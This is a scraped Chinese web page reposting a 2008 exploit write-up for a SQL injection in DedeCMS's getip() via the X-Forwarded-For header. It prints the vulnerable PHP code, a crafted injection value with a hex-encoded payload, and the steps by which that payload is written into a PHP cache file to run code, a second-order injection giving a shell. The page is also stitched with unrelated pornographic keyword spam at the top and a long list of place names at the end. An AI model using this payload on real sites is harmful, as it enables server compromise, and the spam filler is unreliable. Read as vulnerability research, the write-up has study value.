最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Dedecms getip()的漏洞利用代碼

 更新時間:2008年05月19日 19:55:03   作者:  
flyh4t在非安全發(fā)布了dedecms getip()的注射漏洞,漏洞本身的成因沒什么好說的老掉牙的X-Forwarded-For的問題,我想這個漏洞很多人都找到了,不過這個漏洞的利用有個地方還是可以說說的,可以直接得到shell:
author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com

在用戶登陸后把用戶信息寫如了緩存:\include\inc_memberlogin.php

function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
if(is_array($row))
{
$scrow = $dsql->GetOne(”Select titles From #@__scores where integral<={$row['scores']} order by integral desc”);
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //這里
else return ”;
}

WriteUserInfos()的代碼:

//寫入用戶的會話信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).”/cache/user/$tpath/”;
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = “<”.”?php\r\n”;
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”;
foreach($row as $k=>$v){
if(ereg('[^0-9]‘,$k)){
$v = str_replace(”‘”,”\\'”,$v); //這個是利用的關鍵 
$v = ereg_replace(”(<\?|\?>)”,”",$v);
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”;
}
}
$infos .= “\r\n?”.”>”;
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}

我們構造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;

mysql> select 0×68656967655C273B706870696E666F28293B2F2F;
+——————————————–+
| 0×68656967655C273B706870696E666F28293B2F2F |
+——————————————–+
| heige\';phpinfo();//                       |
+——————————————–+
1 row in set (0.00 sec)

利用流程:
A:
else{ //成功登錄
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
$dsql->ExecuteNoneQuery(”update #@__member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”);

B:FushCache()

$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);

C:WriteUserInfos()

heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();//

===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美閉和前面的'  

其中str_replace的部分相當于代碼:

<?php
$v=”heige\';phpinfo();//”;
$v = str_replace(”‘”,”\\'”,$v);
print $v;
?>

整個過程其實就是一個很完整的”二次攻擊”,而str_replace(”‘”,”\\'”,$v);起了關鍵性的作用  

[因為這個漏洞當我pc上有那么段時間了,這個文章很多都是憑記憶寫的,可能有錯誤,有興趣的同學可以自己跟一下。]

相關文章

最新評論

东乌| 嵊泗县| 准格尔旗| 当雄县| 加查县| 苍溪县| 菏泽市| 泗洪县| 和硕县| 屯门区| 黔西县| 安岳县| 永新县| 平乡县| 佛坪县| 合肥市| 鄂伦春自治旗| 连城县| 乐亭县| 忻城县| 闽清县| 正蓝旗| 来凤县| 鲁甸县| 嵊州市| 昌都县| 河西区| 泰来县| 定州市| 清河县| 壶关县| 左权县| 克东县| 南汇区| 内黄县| 古丈县| 竹溪县| 荣成市| 嘉鱼县| 隆昌县| 桂平市|